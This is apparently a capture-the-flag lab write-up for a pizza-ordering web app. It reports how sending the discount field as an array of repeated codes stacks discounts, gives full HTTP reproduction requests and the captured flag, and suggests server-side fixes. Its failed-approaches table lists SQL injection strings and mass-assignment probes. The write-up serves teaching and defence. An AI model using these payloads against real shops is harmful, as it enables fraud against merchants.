BugForge — 2026.04.21

Cheesy Does It: Discount Code Stacking via Array Type Confusion

BugForge Business Logic / Type Confusion easy

Part 1: Pentest Report

Executive Summary

“Cheesy Does It” is a pizza ordering web app on the BugForge platform. React SPA on top of a Node.js + Express backend with JWT (HS256) authentication and a SQL-flavoured datastore (SQLite/MySQL-style timestamps). Customers register, browse a menu or build a custom pizza, check out with a card, and track an order. A PIZZA-10 discount code is advertised publicly on the landing page for 10% off any order.

Testing confirmed one finding:

ID Title Severity CVSS CWE Endpoint
F1 Discount code stacking via array input type confusion Medium 5.3 CWE-840, CWE-20 POST /api/orders

The discount field in POST /api/orders is documented and used by the client as a single string. The server, however, accepts a JSON array on the same field and iterates over each element, applying every valid code multiplicatively to the order total, with no de-duplication, no stacking guard, and no upper bound on the number of codes. Sending discount: ["PIZZA-10", "PIZZA-10"] compounds the 10% discount twice (effective 19% off), three copies compound it three times (effective 27.1% off), and so on. The lab signals successful abuse by adding a flag field to the create order response when the array contains two or more valid codes; in a real deployment this would be silent compounded discounts with no alert.

Flag captured: bug{mNYwFSosV1PErWlkP5aGNjaUZMv9Lol6}.


Objective

Recover the lab flag by exercising a discoverable application layer vulnerability on the BugForge “Cheesy Does It” lab.


Scope / Initial Access

# Target Application
URL: https://lab-1776730244511-ufaznc.labs-app.bugforge.io

# Auth
POST /api/register → {username, email, password, full_name, phone, address} → JWT HS256
POST /api/login    → {username, password} → JWT HS256
                     payload: {"id":N, "username":"...", "iat":...}   (no role claim)
Authorization: Bearer <jwt>   on protected endpoints

# Test account
haxor (id=4, role=user), created via standard self-registration

Self-registration is open. Registration and login both return the same shape: {token, user:{id, username, email, full_name, phone, address}}. The role is not embedded in the JWT. GET /api/verify-token returns the role field on demand, and the server re-reads role from the database on every authenticated request.


Reconnaissance: Mapping User Controlled Inputs

The app is a small, well scoped React SPA with a clearly enumerable API surface. Walking through the user flow once in Caido produced the full endpoint inventory.

Endpoints with user input (Phase 3 attack surface candidates):

Endpoint Method Inputs
/api/register POST username, email, password, full_name, phone, address
/api/login POST username, password
/api/profile PUT full_name, email, phone, address
/api/payment/validate POST card_number, exp_month, exp_year, cvv
/api/payment/process POST card_number, amount
/api/orders POST items[], delivery_address, phone, payment_method, notes, discount
/api/orders/:id GET numeric path parameter

Three signals stood out:

  1. POST /api/orders accepts a discount field that the client only ever sends as a single string from a text input. The advertised PIZZA-10 is the only known valid value. The server stores the resulting code as discount_code on the order record (the field is renamed between the request body and the persisted column).
  2. POST /api/payment/process trusts a client supplied amount and POST /api/orders trusts client calculated total_price per item. Classic price tampering candidates.
  3. No CSRF tokens, wildcard CORS (Access-Control-Allow-Origin: *), and JWT HS256 with an unknown secret. No immediate handles, noted for completeness.

Of those, the discount field was the most economical to probe: single string field, well known valid value, ordering flow inexpensive to repeat.


Application Architecture

Component Detail
Frontend React SPA (MUI components), bundled at /static/js/main.0f3e20de.js
Backend Node.js + Express (X-Powered-By: Express)
Auth JWT HS256, Authorization: Bearer ...; payload {id, username, iat} (no role claim)
Datastore SQL-flavoured (response timestamps 2026-04-21 00:11:42 indicate SQLite/MySQL style)
Pricing Client calculated unit/total prices sent in cart items; server trusts them
Order lifecycle Status auto advances server-side every 120s (received → preparing → baking → quality_check → out_for_delivery → delivered)

Discount handling (from observed behavior)

The client always sends discount as a string. The server stored column is named discount_code and only ever holds a single string value. A successful discount applies a 10% reduction (unit_price 12.99 → total_price 11.69).


Attack Chain Visualization

┌─────────────────┐   ┌──────────────────────┐   ┌──────────────────────┐   ┌──────────────────────────┐
│  Register       │──▶│  Baseline string     │──▶│  Probe array shape   │──▶│  Stack same code twice   │
│  POST           │   │  POST /api/orders    │   │  POST /api/orders    │   │  POST /api/orders        │
│  /api/register  │   │  discount:           │   │  discount:           │   │  discount: ["PIZZA-10",  │
│  → user JWT     │   │   "PIZZA-10"         │   │   ["PIZZA-10"]       │   │             "PIZZA-10"]  │
│                 │   │  → total 11.69       │   │  → total 11.69       │   │  → total 10.52           │
│                 │   │  → no flag           │   │  → no flag           │   │  → flag in response      │
└─────────────────┘   └──────────────────────┘   └──────────────────────┘   └──────────────────────────┘
                                                                                          │
                                                                                          ▼
                                            ┌──────────────────────────────────────────────────────────┐
                                            │  bug{mNYwFSosV1PErWlkP5aGNjaUZMv9Lol6}                   │
                                            └──────────────────────────────────────────────────────────┘

Findings

F1: Discount code stacking via array input type confusion

Severity: Medium CVSS v3.1: 5.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) CWE: CWE-840 (Business Logic Errors), CWE-20 (Improper Input Validation) Endpoint: POST /api/orders Authentication required: Yes, any registered user JWT

Description

The discount field on order creation is documented and emitted by the client as a single string. The server accepts a JSON array on the same field and processes every element through the same valid code lookup, applying each match multiplicatively to the order total. There is no de-duplication, no stacking guard, no upper bound on element count, and no type assertion at the boundary.

Behavior observed across input variations on the same baseline order (one Medium Pepperoni Classic, unit_price = 12.99):

# discount payload total_price stored Math flag in response?
1 "PIZZA-10" 11.69 12.99 × 0.9 no
2 ["PIZZA-10"] 11.69 12.99 × 0.9 no
3 ["PIZZA-10","PIZZA-10"] 10.52 12.99 × 0.9² yes
4 ["PIZZA-10","PIZZA-10","PIZZA-10"] 9.47 12.99 × 0.9³ yes
5 ["PIZZA-10","BOGUS"] 11.69 12.99 × 0.9 (only valid code applied) no
6 {"code":"PIZZA-10"} 12.99 object shape ignored no

Three things worth pinning down from the table:

  1. Single element array is treated identically to the string (row 1 vs row 2), with the same total, no flag. The server accepts the array shape unconditionally.
  2. Compounding is multiplicative, not additive (rows 3 and 4). Each valid element multiplies the running total by 0.9. With enough elements, the total approaches zero.
  3. The stored discount_code column records only one code regardless of array length. The order history view shows "discount_code": "PIZZA-10" whether one code was applied or three. The abuse is invisible to anyone reviewing orders after the fact.

The flag response key is the lab’s abuse marker. It appears only when the array contains two or more elements that each resolve to a valid discount row. Mixed valid/invalid arrays (row 5) and single valid codes do not trigger it. Object wrapped input (row 6) is silently dropped, and the discount lookup falls through to no discount, no error returned.

Impact

Could negatively affect the business bottom line via compounded checkout discounts.

Reproduction

Step 1: Register and capture a user JWT

POST /api/register HTTP/1.1
Host: lab-1776730244511-ufaznc.labs-app.bugforge.io
Content-Type: application/json

{"username":"haxor","email":"h@x","password":"p","full_name":"H","phone":"0","address":"x"}

Response: 200 OK, body includes a JWT. Save as USER_JWT.

Step 2: Place a baseline order with the discount as a string

POST /api/orders HTTP/1.1
Host: lab-1776730244511-ufaznc.labs-app.bugforge.io
Authorization: Bearer <USER_JWT>
Content-Type: application/json

{
  "items":[{"id":1,"pizza_name":"Pepperoni Classic","base_name":"Hand Tossed",
            "sauce_name":"Classic Tomato","size":"Medium",
            "toppings":["Pepperoni","Extra Mozzarella"],
            "quantity":1,"unit_price":12.99,"total_price":12.99}],
  "delivery_address":"test","phone":"test","payment_method":"card","notes":"",
  "discount":"PIZZA-10"
}

Response: 200 OK. Order created, total_price = 11.69. No flag in the response body.

Step 3: Replay with the discount wrapped as a single element array

Same request as step 2, but change the discount value to ["PIZZA-10"]. Response: total_price = 11.69, no flag. Confirms the server accepts the array shape with identical behavior to the string for a single element, which sets up step 4 as the pure type confusion test.

Step 4: Replay with the discount as a two element array of the same code

POST /api/orders HTTP/1.1
Host: lab-1776730244511-ufaznc.labs-app.bugforge.io
Authorization: Bearer <USER_JWT>
Content-Type: application/json

{
  "items":[{"id":1,"pizza_name":"Pepperoni Classic","base_name":"Hand Tossed",
            "sauce_name":"Classic Tomato","size":"Medium",
            "toppings":["Pepperoni","Extra Mozzarella"],
            "quantity":1,"unit_price":12.99,"total_price":12.99}],
  "delivery_address":"test","phone":"test","payment_method":"card","notes":"",
  "discount":["PIZZA-10","PIZZA-10"]
}

Response (200 OK):

{
  "id":44,
  "order_number":"CDI-1776733375668-HPER30FIK",
  "message":"Order created successfully",
  "status":"received",
  "flag":"bug{mNYwFSosV1PErWlkP5aGNjaUZMv9Lol6}"
}

The 10% discount has been applied twice (total_price = 10.52), and the flag field appears in the create order response.

Remediation

Fix 1: Enforce a string at the request boundary

// BEFORE (Vulnerable: discount field type is not asserted)
const { items, delivery_address, phone, payment_method, notes, discount } = req.body;
// ... later, the discount handler iterates if Array.isArray(discount)

// AFTER (Secure: reject any non-string discount input)
const { items, delivery_address, phone, payment_method, notes, discount } = req.body;
if (discount !== undefined && typeof discount !== 'string') {
  return res.status(400).json({ error: 'discount must be a single string' });
}

Fix 2: If multi-code is intentional, de-duplicate and cap

// AFTER (Secure: explicit multi-code support)
let codes = [];
if (typeof discount === 'string') {
  codes = [discount];
} else if (Array.isArray(discount)) {
  codes = [...new Set(discount.filter(c => typeof c === 'string'))];
  if (codes.length > MAX_CODES_PER_ORDER) {
    return res.status(400).json({ error: 'too many discount codes' });
  }
}
// Apply each code at most once, and consider whether stacking makes business sense.
// Many real systems apply only the single best discount per order.

Fix 3: Recompute totals from server trusted item prices

The same handler also trusts client supplied total_price per item and a client supplied amount on POST /api/payment/process (latent issues, not exploited in this engagement). Rebuild the cart total from server-side menu prices before applying any discount, and reject the request if the client supplied total disagrees beyond a small tolerance.

Additional recommendations:

  • Add output integrity check on the order creation path: log any order whose computed total deviates from the sum of menu priced items by more than the maximum allowed single discount percentage. This would have caught the abuse silently in production.
  • The discount_code column persists only the last applied code regardless of array length. Either store the full applied codes list (audit trail) or refuse multi-code orders entirely. Persisting one code while applying many is the worst of both worlds; the abuse is invisible after the fact.
  • Apply the same type assertion boundary check to every other JSON field across the API. The items[].total_price, items[].unit_price, and payment.amount fields are all silently trusted today.

OWASP Top 10 Coverage

  • A04:2021 Insecure Design: The discount handler’s behavior diverges by input type with no documented contract. String and array inputs follow different code paths with different observable effects. Type driven branching on user input without a boundary check is a design defect, not a coding mistake.
  • A05:2021 Security Misconfiguration: No type assertion at the request boundary. The handler accepts any JSON decodable shape on the discount field and trusts the downstream code to handle it.
  • A08:2021 Software and Data Integrity Failures: Client trusted total_price per item, client trusted amount on payment, and a discount handler with no stacking guard combine to make the order total a fully attacker controlled value.

Tools Used

Tool Purpose
Caido Primary request capture, replay, and tamper
Browser DevTools Inspecting React SPA bundle and localStorage JWT/cart contents

References


Part 2: Notes / Knowledge

Key Learnings

  • Test type confusion earlier in my process. I’d been treating array-wrap of a scalar field as a “circle back if nothing else works” probe. On this engagement it was the entire exploit: discount: "PIZZA-10" wrapped as ["PIZZA-10","PIZZA-10"] compounded the discount and dropped the flag. Worth promoting from a late-stage curiosity to a first-sweep probe on any JSON field the client only ever sends as a scalar.

Failed Approaches

Approach Result Why It Failed
Mass-assignment role: "admin" on POST /api/register and PUT /api/profile JWT and verify-token both still report role: "user" Both endpoints destructure a fixed field whitelist from req.body; role is not in the whitelist on either path.
Cheap variants on the same path: isAdmin, is_admin, roles: ["admin"], nested object No effect Same field-whitelist boundary blocks all variants. The server never sees these fields.
Direct GET /api/admin/stats, /api/admin/users, /api/admin/orders with user JWT 403 Forbidden, "Admin access required" Server-side ACL on role === "admin" is enforced (the JWT has no role claim, so the server re-reads role from the database per request). Client-side gate is backed by server-side enforcement here.
SQLi on /api/orders/:id numeric path parameter Parameterized: no error, no boolean differentiation Path parameter is treated as a parameterized integer.
SQLi on POST /api/login username field Parameterized: no error, no auth bypass Standard parameterized lookup.
SQLi on discount field (string and array forms with ', ' OR '1'='1, UNION) All returned the no discount price (12.99) Discount handler treats the value as a code lookup with parameterized SELECT and falls through to no discount on a miss. The injection paths never reach a query as raw SQL.
Wordlist guessing for additional codes (PIZZA-20, PIZZA-50, ADMIN, TEST, etc.) All returned no discount price Only PIZZA-10 is a valid code in the discounts table. Naming convention does not iterate.

Tags: #business-logic #type-confusion #mass-assignment-blocked #bugforge #webapp Document Version: 1.0 Last Updated: 2026-04-21

#business-logic #type-confusion #mass-assignment-blocked #bugforge